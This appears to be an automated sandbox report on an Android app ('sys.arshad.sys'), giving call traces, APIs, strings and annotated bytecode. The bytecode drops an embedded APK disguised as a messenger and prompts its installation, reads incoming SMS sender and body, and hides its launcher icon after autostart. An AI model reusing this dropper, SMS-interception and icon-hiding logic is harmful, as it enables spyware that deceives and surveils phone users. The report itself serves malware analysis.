  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
Method: sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
Method: sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
Method: sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
Method: sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
Method: sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
Method: sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
Method: sys.arshad.sys.MainActivity$b$1.run:155 Show source
Method: sys.arshad.sys.MainActivity$11.run:109 Show source
Method: sys.arshad.sys.MainActivity$b$32.run:19 Show source
Method: sys.arshad.sys.MainActivity$b$32.run:48 Show source
Method: sys.arshad.sys.MainActivity$b$32.run:79 Show source
Method: sys.arshad.sys.MainActivity$b.a:29 Show source
Method: sys.arshad.sys.MainActivity$a.a:36 Show source
Method: sys.arshad.sys.MainActivity$a.a:58 Show source
Method: sys.arshad.sys.MainActivity$a.a:76 Show source
Method: sys.arshad.sys.MainActivity$a.a:86 Show source
Method: sys.arshad.sys.MainActivity$a.a:116 Show source
Method: sys.arshad.sys.MainActivity$a.a:138 Show source
Method: sys.arshad.sys.MainActivity$a.a:156 Show source
Method: sys.arshad.sys.MainActivity$a.a:166 Show source
Method: sys.arshad.sys.MainActivity$9.run:157 Show source
Method: sys.arshad.sys.MainActivity$1.run:14 Show source
Method: sys.arshad.sys.MainActivity.onCreate:58 Show source
Method: sys.arshad.sys.MainActivity$b$8.run:16 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:1159 Show source
Method: sys.arshad.sys.MainActivity$b.t:11 Show source
Method: sys.arshad.sys.MainActivity$b.t:71 Show source
Method: sys.arshad.sys.MainActivity$b$46.run:15 Show source
Method: sys.arshad.sys.MainActivity$b$33.run:16 Show source
Method: sys.arshad.sys.MainActivity$b$33.run:40 Show source
Method: sys.arshad.sys.MainActivity$b$33.run:92 Show source
Method: sys.arshad.sys.MainActivity$15.run:3 Show source
Method: sys.arshad.sys.MainActivity.onCreate:22 Show source
NameTypeValue
p0java.lang.String
  • toString: 792562219
NameTypeValue
Return Valuenull
  • toString: null
Method: sys.arshad.sys.MainActivity$b$20.run:129 Show source
Method: sys.arshad.sys.MainActivity$b$1.run:263 Show source
Method: sys.arshad.sys.MainActivity$b$45.run:101 Show source
Method: sys.arshad.sys.MainActivity$11.run:215 Show source
Method: sys.arshad.sys.MainActivity$b$44.run:278 Show source
Method: sys.arshad.sys.MainActivity.C:33 Show source
Method: sys.arshad.sys.MainActivity.C:65 Show source
Method: sys.arshad.sys.MainActivity$10.run:30 Show source
Method: sys.arshad.sys.MainActivity$10.run:62 Show source
Method: sys.arshad.sys.MainActivity$b.s:60 Show source
Method: sys.arshad.sys.MainActivity$b$39.run:144 Show source
Method: sys.arshad.sys.MainActivity$b$43.run:198 Show source
Method: sys.arshad.sys.MainActivity$b$43.run:225 Show source
Method: sys.arshad.sys.MainActivity.F:27 Show source
Method: sys.arshad.sys.MainActivity$17.run:103 Show source
Method: sys.arshad.sys.MainActivity$b$42.run:204 Show source
Method: sys.arshad.sys.MainActivity$b$37.run:14 Show source
Method: sys.arshad.sys.MainActivity$b$41.run:160 Show source
Method: sys.arshad.sys.MainActivity$a.a:40 Show source
Method: sys.arshad.sys.MainActivity$a.a:49 Show source
Method: sys.arshad.sys.MainActivity$a.a:63 Show source
Method: sys.arshad.sys.MainActivity$a.a:120 Show source
Method: sys.arshad.sys.MainActivity$a.a:129 Show source
Method: sys.arshad.sys.MainActivity$a.a:143 Show source
Method: sys.arshad.sys.MainActivity$b$34.run:221 Show source
Method: sys.arshad.sys.MainActivity$b$34.run:388 Show source
Method: sys.arshad.sys.MainActivity$b$a$1.run:247 Show source
Method: sys.arshad.sys.MainActivity$9.run:152 Show source
Method: sys.arshad.sys.MainActivity$b$28.run:506 Show source
Method: sys.arshad.sys.MainActivity$b$28.run:533 Show source
Method: sys.arshad.sys.MainActivity$b$40.run:78 Show source
Method: sys.arshad.sys.MainActivity$b$23.run:204 Show source
Method: sys.arshad.sys.MainActivity$18.onProviderDisabled:21 Show source
Method: sys.arshad.sys.MainActivity$8.run:113 Show source
Method: sys.arshad.sys.MainActivity$b$35.run:69 Show source
Method: sys.arshad.sys.MainActivity$18.onLocationChanged:62 Show source
Method: sys.arshad.sys.MainActivity$7.run:77 Show source
Method: sys.arshad.sys.MainActivity$7.run:103 Show source
Method: sys.arshad.sys.MainActivity$7.run:126 Show source
Method: sys.arshad.sys.MainActivity$b$17.run:112 Show source
Method: sys.arshad.sys.MainActivity$b$12.run:240 Show source
Method: sys.arshad.sys.MainActivity$b$22.run:580 Show source
Method: sys.arshad.sys.MainActivity$b$21.run:148 Show source
Method: sys.arshad.sys.MainActivity$b$46.run:152 Show source
Method: sys.arshad.sys.MainActivity$b$16$1.onReceive:46 Show source
Method: sys.arshad.sys.MainActivity$b$16$1.onReceive:87 Show source
Method: sys.arshad.sys.MainActivity$b$16$1.onReceive:128 Show source
Method: sys.arshad.sys.MainActivity$b$16$1.onReceive:169 Show source
Method: sys.arshad.sys.MainActivity$b$16$1.onReceive:210 Show source
Method: sys.arshad.sys.MainActivity$b$33.run:70 Show source
Method: sys.arshad.sys.MainActivity.A:12 Show source
Method: sys.arshad.sys.MainActivity$b$32.run:15 Show source
Method: sys.arshad.sys.MainActivity$b$32.run:44 Show source
Method: sys.arshad.sys.MainActivity$b$32.run:75 Show source
Method: sys.arshad.sys.MainActivity$b$4.run:7 Show source
Method: sys.arshad.sys.MainActivity.L:3 Show source
Method: sys.arshad.sys.MainActivity$b$44.run:27 Show source
Method: sys.arshad.sys.MainActivity$b$44.run:104 Show source
Method: sys.arshad.sys.MainActivity$b$7.run:7 Show source
Method: sys.arshad.sys.MainActivity$b.s:5 Show source
Method: sys.arshad.sys.MainActivity$b$14.run:7 Show source
Method: sys.arshad.sys.MainActivity.B:23 Show source
Method: sys.arshad.sys.MainActivity$b.p:5 Show source
Method: sys.arshad.sys.MainActivity$b$5.run:7 Show source
Method: sys.arshad.sys.MainActivity$b$41.run:52 Show source
Method: sys.arshad.sys.MainActivity$b$41.run:62 Show source
Method: sys.arshad.sys.MainActivity$b$34.run:233 Show source
Method: sys.arshad.sys.MainActivity$9.run:5 Show source
Method: sys.arshad.sys.MainActivity$9.run:29 Show source
Method: sys.arshad.sys.MainActivity$b.b:12 Show source
Method: sys.arshad.sys.MainActivity$b$11.run:12 Show source
Method: sys.arshad.sys.MainActivity.I:4 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:18 Show source
Method: sys.arshad.sys.MainActivity$b$6.run:7 Show source
Method: sys.arshad.sys.MainActivity$b.t:7 Show source
Method: sys.arshad.sys.MainActivity.E:4 Show source
Method: sys.arshad.sys.MainActivity.y:3 Show source
Method: sys.arshad.sys.MainActivity$b$22.run:14 Show source
Method: sys.arshad.sys.MainActivity$b$22.run:25 Show source
Method: sys.arshad.sys.MainActivity$b$22.run:51 Show source
Method: sys.arshad.sys.MainActivity$b$22.run:115 Show source
Method: sys.arshad.sys.MainActivity$b$46.run:11 Show source
Method: sys.arshad.sys.MainActivity$b$33.run:12 Show source
Method: sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
Method: sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
Method: sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
Method: sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
Method: sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
Method: sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
Method: sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
Method: sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
Method: sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
Method: sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6

12 Executed Methods

Cross References
APIs
  • java.lang.String.trim
  • android.os.Environment.getExternalStorageDirectory
  • sys.arshad.sys.MainActivity.getResources
  • android.content.res.Resources.openRawResources
  • java.lang.String.toString
  • java.io.FileOutputStream.<init>
  • java.io.InputStream.read
  • java.io.OutputStream.write
  • android.content.ContextWrapper.openFileOutput
  • java.lang.String.toString
  • java.lang.String.getBytes
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.close
  • android.content.Context.getString
  • java.lang.String.trim
  • android.content.Intent.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.String.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • android.net.Uri.fromFile
  • android.content.Intent.setDataAndType
  • android.content.Intent.setFlags
  • sys.arshad.sys.MainActivity.startActivity
  • java.io.InputStream.close
  • java.io.OutputStream.close
Strings
  • -soniac_messenger_4794932.apk
  • yx.txt
  • dmg
  • application/vnd.android.package-archive
  • android.intent.action.VIEW
  • /
  • /storage/emulated/0/-soniac_messenger_4794932.apk
Position Instruction Meta Information
0const v0, 0x7f070023
2invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->getString(I)Ljava/lang/String;
  • Time: 65448
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • resId: 2131165219
    • Return:
      • -soniac_messenger_4794932.apk
3move-result-object v0
5invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
6move-result-object v2
8invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
9move-result-object v3
11invoke-virtual {p0}, Lsys/arshad/sys/MainActivity;->getResources()Landroid/content/res/Resources;
12move-result-object v0
13const/high16 v1, 0x7f060000
15invoke-virtual {v0, v1}, Landroid/content/res/Resources;->openRawResource(I)Ljava/io/InputStream;
  • Time: 65449
    • This:
      • android.content.res.Resources@3c609bee
    • p0: 2131099648
    • Return:
      • android.content.res.AssetManager$AssetInputStream@30b6a569
  • Time: 65505
    • This:
      • android.content.res.Resources@3c609bee
    • p0: 2131099648
    • Return:
      • android.content.res.AssetManager$AssetInputStream@216498a1
16move-result-object v4
17const/4 v1, 0x0
18try_start_1a: new-instance v0, Ljava/io/FileOutputStream;
19new-instance v5, Ljava/io/File;
21invoke-virtual {v2}, Ljava/lang/String;->toString()Ljava/lang/String;
22move-result-object v6
24invoke-direct {v5, v3, v6}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
  • Time: 65450
    • This:
      • /storage/emulated/0/-soniac_messenger_4794932.apk
    • p0: /storage/emulated/0
    • p1: -soniac_messenger_4794932.apk
    • Return:
      • /storage/emulated/0/-soniac_messenger_4794932.apk
26invoke-direct {v0, v5}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
27goto_28: const/16 v1, 0x400
28new-array v1, v1, [B
29goto_2c: const/4 v5, 0x0
30try_start_2d: array-length v6, v1
32invoke-virtual {v4, v1, v5, v6}, Ljava/io/InputStream;->read([BII)I
  • Data flow analysis:
    • p1: 0
33move-result v5
34const/4 v6, -0x1
35if-eq v5, v6, :cond_97
36const/4 v6, 0x0
38invoke-virtual {v0, v1, v6, v5}, Ljava/io/OutputStream;->write([BII)V
  • Data flow analysis:
    • p1: 0
39try_end_39: goto/16 :goto_2c
40catch_3a: move-exception v0
41goto_3b:
42const-string v0, "yx.txt"
43const/4 v1, 0x0
45invoke-virtual {p0, v0, v1}, Lsys/arshad/sys/MainActivity;->openFileOutput(Ljava/lang/String;I)Ljava/io/FileOutputStream;
  • Time: 66483
    • This:
      • sys.arshad.sys.MainActivity@3ad1ce1c
    • p0: java.io.FileOutputStream@2bb6fb81
    • p1: yx.txt
    • p2: 0
  • Time: 66554
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • p0: java.io.FileOutputStream@b5c01fe
    • p1: yx.txt
    • p2: 0
46move-result-object v0
48const-string v1, "dmg"
50invoke-virtual {v1}, Ljava/lang/String;->toString()Ljava/lang/String;
51move-result-object v1
53invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
54move-result-object v1
56invoke-virtual {v0, v1}, Ljava/io/FileOutputStream;->write([B)V
58invoke-virtual {v0}, Ljava/io/FileOutputStream;->close()V
59goto_52: const v0, 0x7f070025
60try_start_55:
61invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->getString(I)Ljava/lang/String;
  • Time: 66529
    • This:
      • sys.arshad.sys.MainActivity@3ad1ce1c
    • resId: 2131165221
    • Return:
      • application/vnd.android.package-archive
62move-result-object v0
64invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
65move-result-object v0
66new-instance v1, Landroid/content/Intent;
68const-string v4, "android.intent.action.VIEW"
70invoke-direct {v1, v4}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
71new-instance v4, Ljava/io/File;
72new-instance v5, Ljava/lang/StringBuilder;
74invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
76invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
77move-result-object v3
79const-string v5, "/"
81invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
82move-result-object v3
84invoke-virtual {v2}, Ljava/lang/String;->toString()Ljava/lang/String;
85move-result-object v2
87invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
88move-result-object v2
90invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
91move-result-object v2
93invoke-direct {v4, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
  • Time: 66533
    • This:
      • /storage/emulated/0/-soniac_messenger_4794932.apk
    • p0: /storage/emulated/0/-soniac_messenger_4794932.apk
    • Return:
      • /storage/emulated/0/-soniac_messenger_4794932.apk
95invoke-static {v4}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
96move-result-object v2
98invoke-virtual {v1, v2, v0}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
99const/high16 v0, 0x24000000
101invoke-virtual {v1, v0}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 603979776
103invoke-virtual {p0, v1}, Lsys/arshad/sys/MainActivity;->startActivity(Landroid/content/Intent;)V
  • Time: 66544
    • This:
      • sys.arshad.sys.MainActivity@3ad1ce1c
    • intent: Intent { act=android.intent.action.VIEW dat=file:///storage/emulated/0/-soniac_messenger_4794932.apk typ=application/vnd.android.package-archive flg=0x24000000 }
104try_end_93: return-void
105catch_94: move-exception v0
106move-object v0, v1
107goto/16 :goto_28
108cond_97:
109invoke-virtual {v4}, Ljava/io/InputStream;->close()V
111invoke-virtual {v0}, Ljava/io/OutputStream;->close()V
112try_end_9d: goto/16 :goto_3b
113catchall_9e: move-exception v0
114throw v0
115catch_a0: move-exception v0
116goto/16 :goto_93
117catch_a2: move-exception v0
118goto/16 :goto_52
APIs
  • android.content.Intent.getExtras
  • android.os.Bundle.get
  • android.telephony.SmsManager.createFromPdu
  • android.telephony.SmsManager.getDisplayOriginatingAddress
  • android.telephony.SmsManager.getDisplayMessageBody
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • java.util.Date.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
Strings
  • pdus
  • 0123456789
  • this is a text message
  • SmsReceiver
  • senderNum:
  • ; message:
  • SMS> N :
  • T :
  • Exception smsReceiver
Position Instruction Meta Information
1invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
  • Time: 185741
    • This:
      • Intent { act=android.provider.Telephony.SMS_RECEIVED (has extras) }
    • Return:
      • Bundle[{format=3gpp, pdus=[Ljava.lang.Object;@bbc6b43}]
2move-result-object v0
3if-eqz v0, :cond_8e
4try_start_6:
5const-string v1, "pdus"
7invoke-virtual {v0, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • key: pdus
8move-result-object v0
9check-cast v0, [Ljava/lang/Object;
10check-cast v0, [Ljava/lang/Object;
11const/4 v1, 0x0
12move v2, v1
13goto_12: array-length v1, v0
14if-ge v2, v1, :cond_8e
15aget-object v1, v0, v2
16check-cast v1, [B
17check-cast v1, [B
19invoke-static {v1}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage;
  • Time: 185746
    • p0: [B@20ba45c0
    • p0: 2Tvz
    • p0: 01000A811032547698000005C47ABB9D07
    • Return:
      • android.telephony.SmsMessage@231062f9
20move-result-object v1
22invoke-virtual {v1}, Landroid/telephony/SmsMessage;->getDisplayOriginatingAddress()Ljava/lang/String;
  • Time: 185751
    • This:
      • android.telephony.SmsMessage@231062f9
    • Return:
      • 0123456789
23move-result-object v3
25invoke-virtual {v1}, Landroid/telephony/SmsMessage;->getDisplayMessageBody()Ljava/lang/String;
  • Time: 185753
    • This:
      • android.telephony.SmsMessage@231062f9
    • Return:
      • this is a text message
26move-result-object v1
28const-string v4, "SmsReceiver"
29new-instance v5, Ljava/lang/StringBuilder;
31invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
33const-string v6, "senderNum: "
35invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: senderNum:
36move-result-object v5
38invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
39move-result-object v5
41const-string v6, "; message: "
43invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ; message:
44move-result-object v5
46invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
47move-result-object v1
49invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
50move-result-object v1
52invoke-static {v4, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: SmsReceiver
53new-instance v1, Ljava/util/Date;
55invoke-direct {v1}, Ljava/util/Date;-><init>()V
56sput-object v1, Lsys/arshad/sys/IncomingSms;->b:Ljava/util/Date;
57new-instance v1, Ljava/lang/StringBuilder;
59invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
61const-string v4, "SMS> N :"
63invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: SMS> N :
64move-result-object v1
66invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
67move-result-object v1
69const-string v3, " T : "
71invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: T :
72move-result-object v1
74sget-object v3, Lsys/arshad/sys/IncomingSms;->b:Ljava/util/Date;
76invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
77move-result-object v1
79invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
80move-result-object v1
81sput-object v1, Lsys/arshad/sys/MainActivity;->d:Ljava/lang/String;
82try_end_71: add-int/lit8 v1, v2, 0x1
83move v2, v1
84goto/16 :goto_12
85catch_75: move-exception v0
87const-string v1, "SmsReceiver"
88new-instance v2, Ljava/lang/StringBuilder;
90invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
92const-string v3, "Exception smsReceiver"
94invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Exception smsReceiver
95move-result-object v2
97invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
98move-result-object v0
100invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
101move-result-object v0
103invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: SmsReceiver
104cond_8e: return-void
APIs
  • sys.arshad.sys.AutoStartUp.getPackageManager
  • android.content.ComponentName.<init>
  • android.content.pm.PackageManager.setComponentEnabledSetting
  • android.app.Service.onCreate
  • sys.arshad.sys.AutoStartUp.getPackageManager
  • android.content.pm.PackageManager.getLaunchIntentForPackage
  • sys.arshad.sys.AutoStartUp.startActivity
  • android.content.Context.getString
  • java.lang.String.trim
  • java.lang.String.indexOf
  • sys.arshad.sys.AutoStartUp.getSystemService
  • android.os.PowerManager.newWakeLock
  • android.os.PowerManager$WakeLock.acquire
  • sys.arshad.sys.AutoStartUp.getPackageManager
  • android.content.ComponentName.<init>
  • android.content.pm.PackageManager.setComponentEnabledSetting
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
Strings
  • sys.arshad.sys
  • not
  • power
  • DoNotDimScreen
  • Error 18
  • Error 19
Position Instruction Meta Information
0try_start_0:
1invoke-virtual {p0}, Lsys/arshad/sys/AutoStartUp;->getPackageManager()Landroid/content/pm/PackageManager;
2move-result-object v0
3new-instance v1, Landroid/content/ComponentName;
4const-class v2, Lsys/arshad/sys/MainActivity;
6invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
7const/4 v2, 0x1
8const/4 v3, 0x1
10invoke-virtual {v0, v1, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
  • Data flow analysis:
    • newState: 1
    • flags: 1
12invoke-super {p0}, Landroid/app/Service;->onCreate()V
14invoke-virtual {p0}, Lsys/arshad/sys/AutoStartUp;->getPackageManager()Landroid/content/pm/PackageManager;
15try_end_16: move-result-object v0
16try_start_17:
17const-string v1, "sys.arshad.sys"
19invoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • packageName: sys.arshad.sys
20move-result-object v0
21if-eqz v0, :cond_22
23invoke-virtual {p0, v0}, Lsys/arshad/sys/AutoStartUp;->startActivity(Landroid/content/Intent;)V
  • Time: 55389
    • This:
      • sys.arshad.sys.AutoStartUp@32574f33
    • p0: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10000000 pkg=sys.arshad.sys cmp=sys.arshad.sys/.MainActivity }
24goto_22: const v0, 0x7f070027
25try_start_25:
26invoke-virtual {p0, v0}, Lsys/arshad/sys/AutoStartUp;->getString(I)Ljava/lang/String;
  • Time: 55390
    • This:
      • sys.arshad.sys.AutoStartUp@32574f33
    • resId: 2131165223
    • Return:
      • not
27move-result-object v0
29invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
30move-result-object v0
32const-string v1, "not"
34invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: not
35move-result v0
36const/4 v1, -0x1
37if-ne v0, v1, :cond_4d
39const-string v0, "power"
41invoke-virtual {p0, v0}, Lsys/arshad/sys/AutoStartUp;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: power
42move-result-object v0
43check-cast v0, Landroid/os/PowerManager;
44const/16 v1, 0x1a
46const-string v2, "DoNotDimScreen"
48invoke-virtual {v0, v1, v2}, Landroid/os/PowerManager;->newWakeLock(ILjava/lang/String;)Landroid/os/PowerManager$WakeLock;
  • Data flow analysis:
    • flags: 26
    • tag: DoNotDimScreen
49move-result-object v0
50iput-object v0, p0, Lsys/arshad/sys/AutoStartUp;->a:Landroid/os/PowerManager$WakeLock;
52iget-object v0, p0, Lsys/arshad/sys/AutoStartUp;->a:Landroid/os/PowerManager$WakeLock;
54invoke-virtual {v0}, Landroid/os/PowerManager$WakeLock;->acquire()V
55cond_4d:
56invoke-virtual {p0}, Lsys/arshad/sys/AutoStartUp;->getPackageManager()Landroid/content/pm/PackageManager;
57move-result-object v0
58new-instance v1, Landroid/content/ComponentName;
59const-class v2, Lsys/arshad/sys/MainActivity;
61invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
62const/4 v2, 0x2
63const/4 v3, 0x1
65invoke-virtual {v0, v1, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
  • Data flow analysis:
    • newState: 2
    • flags: 1
66goto_5d: return-void
67catch_5e: move-exception v0
69sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
70new-instance v2, Ljava/lang/StringBuilder;
72invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
74invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
75move-result-object v0
77const-string v2, " Error 18"
79invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Error 18
80move-result-object v0
82invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
83move-result-object v0
85invoke-virtual {v1, v0}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
86try_end_77: goto/16 :goto_22
87catch_78: move-exception v0
89sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
90new-instance v2, Ljava/lang/StringBuilder;
92invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
94invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
95move-result-object v0
97const-string v2, " Error 19"
99invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Error 19
100move-result-object v0
102invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
103move-result-object v0
105invoke-virtual {v1, v0}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
106goto/16 :goto_5d
Cross References
APIs
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.content.IntentFilter.<init>
